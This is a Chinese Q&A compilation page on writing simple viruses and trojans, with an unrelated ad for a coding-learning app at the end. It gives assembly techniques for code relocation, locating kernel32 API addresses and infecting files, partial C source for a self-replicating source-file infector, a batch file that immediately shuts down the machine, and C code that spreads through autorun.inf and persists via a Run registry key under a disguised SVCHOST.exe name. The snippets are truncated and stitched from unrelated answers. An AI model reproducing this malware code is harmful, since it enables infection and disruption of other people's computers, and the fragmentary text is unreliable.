簡單病毒編程
Ⅰ 簡單的病毒編程代碼是什麼
編寫的計算機程序代碼統稱為惡意代碼。惡意代碼定義一:惡意代碼又稱惡意軟體。
首先,病毒要有感染機制,即它能夠實現繁殖自身。其次,病毒要有有效載荷觸發事件,即病毒要找到一定數量的感染體、或者某一日期、或者在碰到某一段文本後才能發作。
所謂的病毒代碼其實可以想像成是犯人的指紋, 當防毒軟體公司收集到一隻新的病毒時, 他們就會從這個病毒程序中截取一小段獨一無二而且足以表示這只病毒的二進位程序碼 (Binary Code) , 來當做殺毒程序辨認此病毒的依據。
而這段獨一無二的二進位程序碼就是所謂的病毒代碼。病毒代碼它可以把計算機程序打亂,使計算機無法正常使用。
Ⅱ 怎麼編寫病毒程序
問題一:如何編寫程序病毒? 那首先要對系統底層的東西比較熟悉,如果編網路病毒,還要對網路協議很了解。並且要精通至少一門編程語言,一般寫病毒用a *** (匯編語言)的比較多,用其他也可以,比如vbs(vb腳本語言)或者.bat的海處理,都可以。如果寫unix 類系統的病毒用c語言的多一些。但匯編知識是寫高級病毒必須的知識。
問題二:如何寫一個簡單的病毒程序? 前些天學病毒這門技術著實吃了很多苦頭,走了很多彎路,盡管按我的知識水平,病毒已經是水到渠成的學習內容了。但是我現在學了入門才發現這門技術實際上隱藏著很多玄機,包含著許多技術,不專門學習研究根本無法達到「牛」的境界上去。如今寫了這篇文章,介紹的都是相當實用的東西,可以讓你少走許多彎路(有時侯一個錯誤夠你找幾個小時的)。不過需要些基礎知識才能看懂。假如你有天知識儲備夠了,不學學病毒將是你的遺憾。另,由於是寫給協會會員參考的,也沒寫的多「專業」,多了些贅述。
在你看之前,你應該知道這只是篇可以帶你入門的文章,如果你已經會了就不用看了。看的時候最好准備個PE表在旁邊。寫病毒程序可以使用很多種語言來寫比如C,匯編,甚至有人用Dephi這樣可視化編程工具都能寫出來。但是最適合寫病毒程序的還是匯編語言。匯編語言底層,靈活,速度快,體積小的優勢能將一個病毒程序發揮到極至,通常一個程序寫出來才幾千位元組就包含了所有的功能。一般一個病毒都有如下幾個功能:
一 代碼重定位
二 自己找到所需API地址
三 搜索文件、目錄
四 感染文件
五 破壞系統或文件(隨便你了)
其中一,二項功能是必要的,五項功能是可選的。而一個病毒程序感染文件的功能是它的核心,是衡量它質量的重要標准。
(一)代碼的重定位
一個變數或函數其實是一個內存地址,在編譯好後,程序中的指令通過變數或函數的內存地址再去存取他們,這個地址是個絕對地址。如果你將代碼插入到其他任何地方,再通過原來編譯時產生的地址去找他們就找不到了,因為他們已經搬家了。但是,你在寫程序時考慮到這個問題,你就可以在代碼最開始,放上幾行代碼取得程序基地址,以後變數和函數作為偏移地址,顯式的加上這個基地址就能順利找到了,這就是重定位。就象這段代碼。
Call getbaseaddress
Getbaseaddress:pop ebx
Sub ebx,offset getbaseaddress
Mov eax,dword ptr [ebx+Var1]
如果你使用宏匯編語言寫病毒,請盡量使用ebx做基地址指針,不要使用ebp,因為ebp在調用帶參數的函數時會改變。
(二)自己取得所需的API地址
一個win32程序文件,所調用的API函數地址,是由系統填入到程序文件中描述各類數據位置的數據結構中的。而病毒作為一個殘廢是享受不到這個待遇的。因為你在把病毒的代碼插入目標程序時沒有把這些描述數據存放位置的數據結構信息也弄進去。它 *** 入到其他目標程序後就成了只有代碼的殘廢兒童:(所以作為一個殘廢兒童,應當自力更生。自己搜尋自己需要的API地址。目標程序文件就包含了我們需要的東西,我們需要自己去找。目標程序文件只要還是win32程序,它的地址空間中就包含的有Kernel32.dll。如果找到了它,我們就能找到其他任何的東東。第一步,搜尋kernel32.dll的基地址。當然了,整個地址空間有4GB,可供搜索的用戶進程空間也有2GB。在2GB中搜索,太嚇人了。總不能在執行被感染的目標程序時,先讓用戶喝杯茶吧?或者斗鬥地主?這里有兩個技巧向大家介紹。
在程序被載入後,載入程序會調用程序的主線程的第一條指令的位置。它使用的指令是CALL,就是說,你程序還沒執行,堆棧區里就有了一個返回地址了,這個返回地址指向的是載入程序,而載入程序是包含在KERNEL32.dll中的,我們順著它向上找,就能找到kernel32.dll的基地址了。當然也不是一個位元組一個位元組的挨者找,而是一個頁面一個頁面地找。因為win3......>>
問題三:怎麼用C語言寫個簡單病毒,給個代碼過程 首先聲明:
本程序是我舉的一個例子
為了叫大家理解就可以了
如果大家拿去捉弄人,我不負任何責任!
希望大家要以學習為重!
對於病毒我們應該是深惡痛絕的,但是作為純研究許多人還是很有興趣的
我曾經用匯編做過一些具有毀滅性的病毒,本想獻出來與大家分享
不過考慮到一些小人看了會做出來一些危害別人的行為,所以我決定
用這個簡單的並毫無傷害性的c語言偽病毒來說明一下問題,
再次聲明這一切全是為了編程研究!!!
病毒的特點:
病毒的最大特點就是自我復制,從病毒的分類來說有很多種,這里我們將介紹最流行的附加式
病毒,它通過對正常的文件進行改寫,增加來實現其自我復制的目的。
從程序的角度來說,我們要做的事情有兩件:
1,讓程序能夠將自己在不影響其它程序本身工作的情況下復制給其它程序,
使它具備繼續復制的能力。
2,在一定條件下使其產生某種發作效果。
其實第一件事情實際上可以看成對文件進行復制,把病毒源文件的功能函數全部放到被感染
文件的最後,同時在被感染文件中調用這個函數
下面給出c語言的實現過程:
1,主程序調用病毒功能函數
2,病毒功能函數讀取查找同目錄下所有c文件;
3,找到一個(被感染c文件),打開它,並且將此文件全部讀取到數組變數;
4,重新創建一個同名文件(被感染c文件)
5,數組變數寫回這個被感染c文件,同時將病毒源文件所需要的頭文件,病毒功能函數
調用語句寫入;
6,打開病毒源文件,將病毒功能函數全部寫到被感染c文件的最後;
這樣一個簡單的c語言偽病毒virus.c就完成了
運行程序後其內容變化另保存為after_virus.c
此時,如果我們將1.c文件用A盤復制到其他機器或者Email給別人,結果
他們一運行又感染了他們保存1.c文件目錄下所有c文件
對於第二件事情-------「發作效果」,這里只用printf語句警告了一下,當然你
完全可以寫一個TSR駐留函數
其實,這個程序勉強可以叫做病毒
根本不算是真正的病毒,好了就說這么多,
代碼如下:
#include
#include
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus=virus.c;
char buf[50][80];
char *p;
char *end=return;
char *bracket=};
char *main=main;
char *include[2]={stdio.h,dir.h};
char *int_virus=int virus();
char *buffer;
int done,i,j=0,flag=0;
printf(\nI have a virus. Writen by PuBin\n);
done = findfirst(*.c,&ffblk,0);
while (!done)
{
i=0;
if ((in = fope......>>
問題四:病毒一般用什麼語言編寫的? 由於現在大多數的所謂的黑客都沒有真正的技術,他們的木馬都是利用別人編寫的木馬生成程序生成的,只要一點就好了!~~現在流行的木馬有VB、E語言、pascal(注意Delphy不是一門語言,而是pascal語言的編輯器,就像C++跟VC++之間的關系)等,大量用他們編寫的原因並不是他們有多好,只不過是他們簡單易學!所以只要你有技術,用什麼程序寫不重要,條條大路通羅馬!
問題五:怎樣編寫簡單,對系統無害的病毒文件? 雙擊這個文件後就會關機,無毒無害。
這是代碼:
@echo off
cd/
shutdown -s -t 0 -c Loading Installation,Please Wait...
那個0是打開這個文件後多少秒關機(0就是立即關機,10就是打開文件10秒後關機), 引號中的字(Loading Installation,Please Wait...)可以隨意更改(只是引號裡面的,別把引號給刪了)。
問題六:怎樣編寫病毒 3.1.1病毒程序VIRUS.C
這是一個用C語言寫的病毒程序,當激發病毒程序時顯示時間,然後返回。病毒程序VIRUS.C可將病毒傳染給一個C語言程序。當被病毒感染的程序經編譯、連接和執行後,又可以將病毒部分傳染給其他的C語言源程序。每執行一次帶有病毒的C語言程序,就向C語言源程序傳播一次病毒。此程序的設計思路如下:
當含有病毒部分的程序被執行時,首先進入病毒程序。它在磁碟上找擴展名為C的匹配文件,如果找到,查找是否有被傳染過的標志「INFECTED」。如果有此標志,繼續找其它的C文件,直至全部檢查一遍。若沒有這個標志,則
(1)在未被感染的C程序頭部加入「INFECTED」已被傳染標志。
(2)讀取病毒文件的頭文件,將其插入到即將被感染的文件頭部。如果發現有重復則不插入。
(3)在主程序中插入「VIRUSES();」調用VIRUSES函數。尋找printf、for、while、break語句,如果找到就在之前插入。
(4)在文件尾部插入VIRUSES_SUB子程序。
(5)在插入到將感染文件裡面的VIRUSES_SUB子程序裡面,必須把文件名改為當前自身的文件名,否則被傳染後的文件經過編譯、連接和運行後不能再繼續傳染。
(6)最後插入VIRUSES子程序。這個子程序裡面調用了VIRUSES_SUB,執行到這里返回執行結果信息。
其中用到4個出錯的返回值,分別是:
1:用戶文件太大,不傳染;
2:帶病毒文件打不開,不傳染;
3:帶病毒文件讀取不成功,不傳染;
4:查找第一個匹配文件不成功。
如果返回值是0代表文件傳染成功。
具體實現過程如下:
其中用到的函數和結構體用法參考3.3節。
首先導入病毒子程序要用到的三個庫文件,分別是dir.h, stido.h, dos.h.在主函數裡面只調用VIRUSES函數。緊跟定義VIRUSES函數裡面要調用的VIURS_SUB函數。裡面定義了若干個變數。ffblk用來保存查找到的匹配文件的信息,用到裡面的ff_name變數來保存匹配文件名。
然後定義保存未感染的文件和病毒文件的文件型指針變數,分別用是*virus_r和*virus_v.讀取文件的緩沖區,放到二維數組a[500][80]裡面臨時存放。因為此程序對大於500行的C文件不進行傳染,所以完全可以放到裡面。首先用getdate函數獲取系統當前日期並輸出。接著用findfirst函數查找擴展名為C的文件,將其信息保存到ffblk裡面。用fgets函數讀文件的第一行,長度是80-1個字元。然後用strstr函數檢測病毒的標志,看文件是否有INFECT這個標志。
如果有,表示文件已經被傳染,關閉文件,不進行傳染。當含有病毒部分的程序被執行時,首先進入病毒程序。它在磁碟上查找*.C的匹配文件,一旦找到,查找「已被傳染過」的標志INFECTED。若有此標志,繼續找其它*.C文件,直至全部檢查一遍。
如果沒有這個標志,將文件全部讀入a[500][80],如果發現文件超過500行,不傳染,返回。將文件指針指向文件頭,打開帶病毒的文件。如果打不開,返回。
然後讀取帶病毒文件的前4行,也就是病毒子程序要用到的頭文件,寫入將被傳染的文件。若不能讀取帶病毒文件,返回。用n_line變數控制行數,把將被傳染文件的源程序寫回原文件。其中要進行處理不寫入病毒文件已有的包含語句,也就是說使#Include語句不重復。
這點是這樣實現的:定義一個字元數組char include_h[]=; strstr函數查看將被傳染文件的頭文件是否和*include_h[]相同,如果相同,......>>
問題七:怎麼用C語言編寫木馬.病毒等程序 嘿嘿給你個類病毒C程序源碼,看下方法吧 #define SVCHOST_NUM 6
#include
#include
char *autorun={[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打開\nshell\\1\\mand=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\mand=SVCHOST.exe\nshellexecute=SVCHOST.exe};
char *files_autorun[10]={c:\\autorun.inf,d:\\autorun.inf,e:\\autorun.inf};
char *files_svchost[SVCHOST_NUM+1]={c:\\windows\\system\\MSMOUSE.DLL,
c:\\windows\\system\\SVCHOST.exe,c:\\windows\\SVCHOST.exe,
c:\\SVCHOST.exe,d:\\SVCHOST.exe,e:\\SVCHOST.exe,SVCHOST.exe};
char *regadd=reg add \HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\ /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f;
int (char *infile,char *outfile)
{
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,rb))!=NULL) && ((output=fopen
(outfile,wb))!=NULL))
{
while(!feof(input))
{
fread(&temp,1,1,input);
fwrite(&temp,1,1,output);
}
fclose(input);
fclose(output);
return 0;
......>>
問題八:怎麼編輯木馬病毒程序 很高興為您解答:
製作並且傳播木馬都是違法行為,況且在你製作的時候可能會有人利用這漏洞對你的電腦產生危害,到時候就得不償失拉
建議下其他騰訊電腦管家,開啟所有防護,避免有人利用病毒或是木馬來危害新的電腦以及帳號的全全
1、騰訊電腦管家獨有的二代反病毒引擎,防護查殺更徹底
2、騰訊電腦管家擁有全球最大的雲庫平台,能更好的識別詐騙、釣魚網站
3、騰訊電腦管家獨創鷹眼模式,時刻保護您的愛機不受侵害
4、騰訊電腦管家獨有的安全等級,您可以時刻查看你愛機的安全狀態
5、新增廣告過濾功能,有效減輕廣告騷擾。
祝樓主祝您工作、生活愉快!!
問題九:病毒的編寫是用的什麼原理? 在計算機領域中,它是一種基於遠程式控制制的黑客工具,具有隱蔽性和非授權性的特點。
所謂隱蔽性是指木馬的設計者為了防止木馬被發現,會採用多種手段隱藏木馬,這樣服務端即使發現感染了木馬,由於不能確定其具 *** 置,往往只能望「馬」興嘆。
所謂非授權性是指一旦控制端與服務端連接後,控制端將享有服務端的大部分操作許可權,包括修改文件,修改注冊表,控制滑鼠,鍵盤等等,而這些權力並不是服務端賦予的,而是通過木馬程序竊取的。
從木馬的發展來看,基本上可以分為兩個階段。
最初網路還處於以UNIX平台為主的時期,木馬就產生了,當時的木馬程序的功能相對簡單,往往是將一段程序嵌入到系統文件中,用跳轉指令來執行一些木馬的功能,在這個時期木馬的設計者和使用者大都是些技術人員,必須具備相當的網路和編程知識。
而後隨著WINDOWS平台的日益普及,一些基於圖形操作的木馬程序出現了,用戶界面的改善,使使用者不用懂太多的專業知識就可以熟練的操作木馬,相對的木馬入侵事件也頻繁出現,而且由於這個時期木馬的功能已日趨完善,因此對服務端的破壞也更大了。
所以所木馬發展到今天,已經無所不用其極,一旦被木馬控制,你的電腦將毫無秘密可言。
二、木馬原理
[編輯本段]
鑒於木馬的巨大危害性,我們將分原理篇,防禦與反擊篇,資料篇三部分來詳細介紹木馬,希望大家對特洛伊木馬這種攻擊手段有一個透徹的了解。
【一、基礎知識 】
在介紹木馬的原理之前有一些木馬構成的基礎知識我們要事先加以說明,因為下面有很多地方會提到這些內容。
一個完整的木馬系統由硬體部分,軟體部分和具體連接部分組成。
(1)硬體部分:建立木馬連接所必須的硬體實體。 控制端:對服務端進行遠程式控制制的一方。 服務端:被控制端遠程式控制制的一方。 INTERNET:控制端對服務端進行遠程式控制制,數據傳輸的網路載體。
(2)軟體部分:實現遠程式控制制所必須的軟體程序。 控制端程序:控制端用以遠程式控制制服務端的程序。 木馬程序:潛入服務端內部,獲取其操作許可權的程序。 木馬配置程序:設置木馬程序的埠號,觸發條件,木馬名稱等,使其在服務端藏得更隱蔽的程序。
(3)具體連接部分:通過INTERNET在服務端和控制端之間建立一條木馬通道所必須的元素。 控制端IP,服務端IP:即控制端,服務端的網路地址,也是木馬進行數據傳輸的目的地。 控制端埠,木馬埠:即控制端,服務端的數據入口,通過這個入口,數據可直達控制端程序或木馬 程序。
用木馬這種黑客工具進行網路入侵,從過程上看大致可分為六步(具體可見下圖),下面我們就按這六步來詳細闡述木馬的攻擊原理。
一.配置木馬
一般來說一個設計成熟的木馬都有木馬配置程序,從具體的配置內容看,主要是為了實現以下兩方 面功能:
(1)木馬偽裝:木馬配置程序為了在服務端盡可能的好的隱藏木馬,會採用多種偽裝手段,如修改圖標 ,捆綁文件,定製埠,自我銷毀等,我們將在「傳播木馬」這一節中詳細介紹。
(2)信息反饋:木馬配置程序將就信息反饋的方式或地址進行設置,如設置信息反饋的郵件地址,IRC號 ,ICO號等等,具體的我們將在「信息反饋」這一節中詳細介紹。
【二、傳播木馬】.
(1)傳播方式:
木馬的傳播方式主要有兩種:一種是通過E-MAIL,控制端將木馬程序以附件的形式夾在郵件中發送出 去, 收信人只要打開附件系統就會感染木馬;另一種是軟體下載,一些非正規的網站以提供軟體下載為名義, 將木馬捆綁在軟體安裝程序上,下載後,只要一運行這些程序,木馬就會自動安裝。
(2)偽裝方......>>
問題十:有源代碼,怎樣編寫病毒程序? 您好:
建議您不要編寫或使用病毒程序,病毒程序會對您的電腦造成損害的,如果您曾使用過此類不安全的病毒程序的話,為了您電腦的安全,建議您使用騰訊電腦管家對您的電腦進行一下全面的殺毒吧,打開騰訊電腦管家中的殺毒功能選擇閃電查殺或者全盤查殺就可以,您可以點擊這里下載最新版的騰訊電腦管家:最新版騰訊電腦管家下載
騰訊電腦管家企業平台:./c/guanjia/
Ⅲ 如何讓手機編程簡單的病毒
編程是一項非常重視實戰的技能。如果僅僅只是閱讀和聽課,數個艾賓浩斯記憶曲線之後,你的腦海所剩知識將歸零。學習編程需要經歷 3 個步驟:閱讀 READ→ 練習 PRACTICE → 創造BUILD。—— 事實上,這是學會任何技能都需要經歷的 3 個步驟而編程尤甚。點擊安裝APP xue.cn 可以直接隨時隨地學習編程知識、編寫運行代碼。除此之外,附送10條過來之人的忠告。忠告 1:設備從來都不是學習的阻礙,僅憑手機也能學習編程。有人問,我沒有電腦,僅有一台手機或者ipad,能學編程嗎?能呀,當然能!現在的手機都是智能手機,等同於一部貼身移動的隨身電腦;當然可以用手機來學習編程!文末我將推薦幾款可以在手機上直接運行代碼、學寫代碼的 APP 產品。忠告 2:從0開始不成問題,任何具備閱讀能力的人都能學會編程。有人問,我是萌新,我是文科生,我毫無編程經驗,我沒有相關基礎,我英語很爛……這樣的我,還能學習編程嗎?能呀,當然能!從0開始,並不是問題;事實上可以認為任何學習都是從 0 開始的。不足10歲的小學生能學編程,80多歲的老奶奶也能學會編程。困擾你的僅僅是,「我是否比其他人少了某些優勢」 。在你不擅長的領域,你永遠都比擅長的人少了一些優勢。正因為你不懂不會、你想要掌握某項技能積累自己的優勢,所以才決定學編程的呀!編程作為一項技能,是任何具備閱讀能力的人都可以學會的。很多人也曾學過編程,只是絕大部分學而未用的知識,早已經還給書本或老師。關鍵並非「能不能學會」,而是「學習方法存在什麼問題」。忠告 3:不要做搜刮囤積資料的松鼠,囤再多知識也不能變成你的技能。決定學習編程後,很多人開始到處搜刮學習資料:哪裡有合適的書籍、視頻、文章、專欄、回答、電子書、付費課程……我還需要裝哪些app或者軟體……然後通通下載、收藏、購買、安裝、付錢……搜刮和囤積能帶來滿足感,你的大腦正在欺騙你自己,囤積讓你覺得自己的學習取得了關鍵進展。冰冷的事實是,你所囤積的學習資料,永遠都不屬於你,永遠都無法轉變為你的技能。它們僅僅是冰冷的位元組或交出去的智商稅。請直奔主題 —— 立即讀一個編程的知識點,立即運行和改寫代碼,立即寫下自己的第一行代碼說「Hello world!」。把知識輸入自己的大腦才是獲取技能的真正開端。忠告4:並不存在完美的學習計劃,做好心理建設比什麼都重要。如果你曾為學編程做計劃:今天讀幾頁,明天搞定某個知識點,後天刷幾道題等——計劃越細致,落實越困難,真正的收獲,恐怕是挫敗感。對於絕大多數人來說,代碼的世界是嶄新的世界,全然未知的世界。面對未知世界,怎麼可能提前預想設定出一個能被100%執行到位的學習計劃呢?拋開學習計劃吧。有做學習計劃的精力,不妨做足心理建設,反復回答自己幾個問題:我為什麼必須要學會編程?學會編程會給我帶來哪些好處?列舉足夠多的動力,充分看到掌握編程後帶給自己的好處,鼓足勁。剛決定學編程就立即做足心理建設是必要的, 但心理建設不能僅僅只做一次;相反,你需要反復給自己做心理建設,打雞血,喝雞湯,讓自己有充分的動力去學編程。忠告 5:花再多錢也買不來技能,時間是你需要支付的最大成本。你願意花幾百元、幾千元或者幾萬元購買編程課程,這並不代表你能花錢買來「編程」這門技能。決定你是否掌握編程技能的唯一關鍵是:是否給出足夠的時間預算。時間精力是你需要為掌握編程技能而支付的唯一成本。短期沒有足夠的時間,那就長期;沒有整塊的時間,那麼就碎片時間學。你需要付出足夠的時間投入,反復閱讀、練習、創造來錘煉自己的編程技能。當你有足夠的動力來學會編程,那麼就支付足夠的時間預算,對自己的學習進程保持耐心。降低時間成本的方法有許多,但花錢無法代替你反復的閱讀、練習與創造。著急花錢,還不如好好反思學習方法、刻意思考如何刻意練習自己的編程技能。有關編程的絕大多數知識都是免費的、開源的,與其花那麼多錢,不如花點時間錘煉自己的搜索能力,訓練自己的信息整合能力。互聯網如此發達,你善於搜索,能得到非常多有價值的信息。忠告6:僅有閱讀遠遠不夠,實戰才是學會編程的重點。編程是一項非常重視實戰的技能。如果僅僅只是閱讀和聽課,數個艾賓浩斯記憶曲線之後,你的腦海所剩知識將歸零。學習編程需要經歷 3 個步驟:閱讀 READ→ 練習 PRACTICE → 創造BUILD。—— 事實上,這是學會任何技能都需要經歷的 3 個步驟而編程尤甚。閱讀,讓你獲知一個編程知識點;練習,通過閱讀代碼,改寫代碼、做習題等方式,檢查並鞏固知識點的掌握程度;創造,綜合運用所學,從無到有編寫代碼完成一個需求。你並不需要等到讀完整本書,才開始練習。從你接觸到第一個編程知識點,你就應該有意地重復「閱讀 READ→ 練習 PRACTICE → 創造BUILD」 這個循環。哪怕你剛知道 print("Hello world!") ,你也應該立即運行一下這行代碼,觀察它的反應,然後自己默寫一遍再運行試試看。忠告7:不要因為怕丟丑就不敢提問,勇於承認自己就是新手。剛起步就被某個難題困住。許多問題僅僅通過認真閱讀、搜索或是認真檢查,都能能解決。但依然有少數問題,你搞不定且搜不到答案。你不敢向人求助或提問,你在擔心自己的問題太low,或者覺得那是自己應該能搞定的。無法准確地描述問題,是剛學編程的人,最常遇到的困難。既然問題都未能被准確描述,想要搜索得到答案,自然非常困難。某些時候需要勇於求助。有時答案來自同學的經驗——那些同樣從0開始學習該編程語言的同學;有時答案僅僅是有人幫你指出了關鍵詞,更正了問題描述,讓你能直接搜索命中答案。當你從0開始學編程,你在編程這件事上就是一個完完全全的新手。這個事實這並不會因為你的財富,你在其它領域的建樹,你的身份地位而改變。真正強大的人敢於直面事實,並勇於解決問題,並善於整合資源——同學,也是你的學習資源。忠告8:伸手黨固然可惡,教卻是最好的學。確實有一些人不付出任何努力,一旦遇到困難或報錯就立即向人求助。—— 伸手黨是所有人深惡痛絕的一類人。但如上所述,編程新手遇到的問題和困難,卻又花樣百出,自己還暫無能力准確描述。即便你已經掌握某個編程知識點,但通過理解他人的問題,幫忙解決該困難,卻是你的知識點練習場合。把你懂的知識教給不懂的人,你才是最大的受益者,因為你由此更深地理解了知識,鞏固了技能。一個好的學習交流環境,不是直接告訴每個提問者那個答案是什麼,而是教會每個提問者如何更好地提問。一個好的學習交流環境,每個人在群里提問前,都將在幾個方向上自己作出嘗試,自己先試著找到答案。自己實在無法解決的,才會向人求助的同時附上自己已經嘗試的思路……忠告 9:學習並非沒有終點,學而不用,學來做甚?學無止境,終有一天,你發現自己已經具備了一定的編程能力:你可以自己寫代碼解決一些常見的需求,即便自己無法從零寫出,你也懂得如何通過搜索、閱讀並整合網上已有的代碼來構造自己的解決方案。但是否需要繼續學習下去呢?學習永無止境。但編程技能如果僅僅持續地學,學而不用,拿來作甚?如果你剛開始學編程,請記得隨時記錄你想要用編程技能解決的一個個需求,並在自己具備一定能力時開始試著實現它們。適時停止涉獵「新知識點」,整合已有能力,運用它們解決一個實際的問題,才是更上一層樓的「學」,是更高級的學。忠告 10:工具只是工具,再好的產品也僅是為你所用,最重要的還是人。基於「閱讀 READ→ 練習 PRACTICE → 創造BUILD」這個技能學習的方法論:滿足「閱讀」的途徑非常多。實體書、電子書在線閱讀、編程類文章等等,都有很多選擇。比如:微信讀書、微信公眾號、知乎、甚至微博,B站,僅僅是看和聽來得到編程知識,選擇非常多。滿足「練習」和「創造」的途徑開始變少。最好能直接在手機上閱讀代碼,代碼的顯示非常清晰、語法也是准確的;甚至能改改代碼,立即運行一下。同時滿足「閱讀」、「練習」和「創造」的產品,僅有 xue.cn唯此一家。雖然尚未發現更好的產品,但即便更好的產品有非常多,每一款產品都僅僅是你的工具,為你所用,幫助你獲取編程技能。再好的手機端編程學習產品,也僅僅是你學習編程的工具。最重要的還是你這個人:你相信零基礎也能學會編程,你具備強大的動力學習編程,你掌握編程學習的方法論,你持續重復著閱讀、練習和創造的循環你有充足的實踐:你對自己有足夠的耐心並給出足夠的時間預算,你善於整合資源:你善於通過搜索解決問題,更善於結識和融入同學之中,借用一切可借用的力量幫助自己習得編程技能。手機上一邊閱讀,一邊運行代碼上方視頻:在xue.cn上能一邊閱讀知識,一邊能運行代碼、編寫代碼。